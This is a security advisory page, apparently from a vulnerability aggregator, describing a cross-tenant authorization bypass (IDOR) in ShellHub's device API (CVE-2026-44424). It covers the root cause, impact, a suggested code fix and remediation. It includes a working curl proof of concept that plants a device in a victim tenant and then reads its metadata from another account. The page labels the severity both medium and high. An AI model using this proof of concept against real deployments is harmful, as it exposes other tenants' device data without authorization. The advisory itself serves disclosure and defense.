ShellHub CVE-2026-44424
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Network-reachable API endpoint requiring only a valid authenticated session (PR:L); full tenant metadata disclosure (C:H) with no integrity or availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.
Severity
CVSS 3.1: 7.5 (High) CWE-639 - Authorization Bypass Through User-Controlled Key
Affected versions
ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.
Root cause
api/services/device.go:97-104 - GetDevice resolves the device by UID without scoping to the caller's tenant:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
// ⚠️ missing: s.store.Options().InNamespace(tenant)
...
}Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).
The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context - not that the resource belongs to that tenant.
Proof of concept (validated live against v0.24.1)
Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
-H 'Content-Type: application/json' \
-d "{
\"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
\"hostname\":\"poc\",
\"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
\"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
\"tenant_id\":\"$TARGET_TENANT\"
}" | jq -r .uid)
# Read the device from a completely different tenant
curl -i "http://target/api/devices/$VICTIM_UID" \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed): HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
# namespace name, OS info, last_seen, remote_addr, ...)Impact
- Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
- Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.
Suggested fix
In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
tenant := gateway.TenantFromContext(ctx)
opts := []store.QueryOption{}
if tenant != nil {
opts = append(opts, s.store.Options().InNamespace(tenant.ID))
}
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
...
}AnalysisAI
Cross-tenant IDOR in ShellHub Community's device API exposes full device metadata across namespace boundaries to any authenticated user. An authenticated attacker who knows or can obtain a target device UID can issue a crafted GET request to /api/devices/:uid and receive the victim tenant's device object - including hostname, MAC address, OS fingerprint, public SSH key, namespace name, last-seen timestamp, and remote IP address. A validated proof-of-concept exists against v0.24.1; no public exploit identified at time of analysis and no CISA KEV listing, though EPSS is 0.03% (8th percentile), reflecting low but real probability of opportunistic exploitation in multi-tenant deployments.
Technical ContextAI
ShellHub is a Go-based open-source SSH gateway and device management platform (pkg:go/github.com/shellhub-io/shellhub) that supports multi-tenant namespaces. The vulnerable code is in api/services/device.go at the GetDevice function (lines 97-104), which resolves a device by UID using store.DeviceResolve without applying an InNamespace(tenant) scoping filter. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): the device UID acts as a directly controlled object reference, and the Authorize middleware (api/routes/middleware/authorize.go:12-27) only verifies that a tenant exists in the request context - not that the requested resource belongs to that tenant. The inconsistency is evident within the same file: DeleteDevice at line 137 correctly applies InNamespace, proving the pattern is known but was missed for the read path.
RemediationAI
Upgrade ShellHub to v0.24.2, which applies namespace scoping in the GetDevice service function. The upstream fix is tracked in the GitHub Security Advisory at https://github.com/shellhub-io/shellhub/security/advisories/GHSA-j72x-xfwg-783f. For operators unable to upgrade immediately, a compensating control is to restrict the /api/devices/:uid endpoint at the reverse proxy or API gateway layer so that it can only be reached by requests whose Authorization token's tenant claim matches the target device's registered tenant - however, this requires custom middleware logic outside the application and is complex to implement correctly. Alternatively, restrict ShellHub API access to trusted internal networks if the deployment is not inherently multi-tenant, reducing the attack surface by limiting who can hold a valid authenticated token. Neither workaround is as reliable as applying the v0.24.2 patch.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-j72x-xfwg-783f